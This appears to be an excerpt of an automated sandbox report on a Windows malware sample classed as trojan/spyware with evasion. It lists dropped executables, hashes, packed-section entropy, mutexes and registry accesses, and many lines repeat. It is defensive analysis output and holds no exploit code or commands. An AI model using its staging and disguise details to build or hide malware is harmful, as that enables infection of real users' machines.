Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: fontcreator.tmp.8.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: fontcreator.tmp.10.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: fontcreator.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: fontcreator.tmp.31.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: fontcreator.tmp.21.dr	Static PE information: Number of sections : 11 > 10
Source: fontcreator.tmp.31.dr	Static PE information: Number of sections : 11 > 10
Source: fontcreator.tmp.8.dr	Static PE information: Number of sections : 11 > 10
Source: fontcreator.exe0.7.dr	Static PE information: Number of sections : 11 > 10
Source: fontcreator[1].exe.7.dr	Static PE information: Number of sections : 11 > 10
Source: fontcreator.tmp.10.dr	Static PE information: Number of sections : 11 > 10
Source: fontcreator.exe.7.dr	Static PE information: Number of sections : 11 > 10

Source: is-DEVD7.tmp.11.dr	Static PE information: No import functions for PE file found
Source: is-7T5A6.tmp.11.dr	Static PE information: No import functions for PE file found
Source: is-BB72E.tmp.32.dr	Static PE information: No import functions for PE file found
Source: is-9EFK3.tmp.32.dr	Static PE information: No import functions for PE file found

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1821540185.0000000005640000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817570377.000000000580A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819169896.0000000005740000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1833531046.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814457564.00000000057AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817408557.0000000005721000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814189108.00000000056EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824342719.000000000576B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820361387.0000000005746000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821144573.000000000588C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817785039.0000000005722000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823214175.000000000563B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813536796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813907089.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822687456.0000000005888000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818353558.0000000005729000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830065616.0000000005638000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813117869.000000000563A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819374343.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820115881.0000000005746000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1829495656.0000000005786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1827898804.00000000058BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814830794.0000000005701000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1827341670.000000000577C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1812958563.00000000056CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816723473.0000000005719000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815236809.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821669176.000000000576A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820484601.000000000585C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818043634.0000000005723000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1812637259.0000000005432000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825739241.0000000005774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1833847839.0000000005222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813203605.00000000056D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1812881674.0000000005638000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820851120.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821939338.0000000005754000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813289157.0000000005634000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1833607559.000000000524C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813628532.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1833813471.00000000007F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818977590.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816173075.0000000005635000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1831161788.0000000005782000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1831760329.00000000058E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1812801195.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814939578.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814551546.0000000005639000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823978803.000000000563B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815561511.0000000005711000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830433289.0000000005790000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820723148.0000000005754000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816832394.0000000005635000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820600891.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817158784.0000000005719000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813368033.00000000056E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818691253.0000000005737000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825089160.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814000317.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816942864.0000000005717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815026080.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1812709980.000000000563C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814092591.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1826620633.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815853388.0000000005705000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814644657.00000000056F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821797706.0000000005634000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817653477.000000000563A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1831567791.000000000578B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813716556.00000000056E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819736652.0000000005641000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813041223.000000000576A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816613279.000000000563F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818584165.000000000563A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814739226.000000000563F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815445626.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819994662.000000000563B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1834614494.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815951863.0000000005633000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817892373.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816058078.0000000005709000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813816606.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820977945.000000000575F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819870917.000000000574F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819616059.0000000005850000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815138348.0000000005632000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818812954.000000000583F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819493125.0000000005741000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1813453155.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814279391.0000000005633000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817305600.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820238486.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824670654.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816510779.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818458197.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828859580.000000000563E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815675967.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823558909.0000000005769000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1831355893.000000000563D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818249977.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1833794971.00000000007FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1814371504.00000000056F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1817046006.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1816340672.0000000005710000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1833739536.000000000080A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830816091.0000000005640000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1815348734.00000000057BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818147409.0000000005820000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979366673197492
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: Section: oibhsmco ZLIB complexity 0.9946630358807083
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: skotes.exe.3.dr	Static PE information: Section: oibhsmco ZLIB complexity 0.9946630358807083
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 0.9979366673197492
Source: 9eba8044e7.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9979366673197492
Source: random[1].exe0.7.dr	Static PE information: Section: jfbmubxy ZLIB complexity 0.9951572878925121
Source: 1553f88169.exe.7.dr	Static PE information: Section: jfbmubxy ZLIB complexity 0.9951572878925121
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: Section: oibhsmco ZLIB complexity 0.9946630358807083

Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 9eba8044e7.exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.3.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@112/67@17/4

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FT773VWATWFL9SRK5RTU4.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4432:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3320:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7844:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
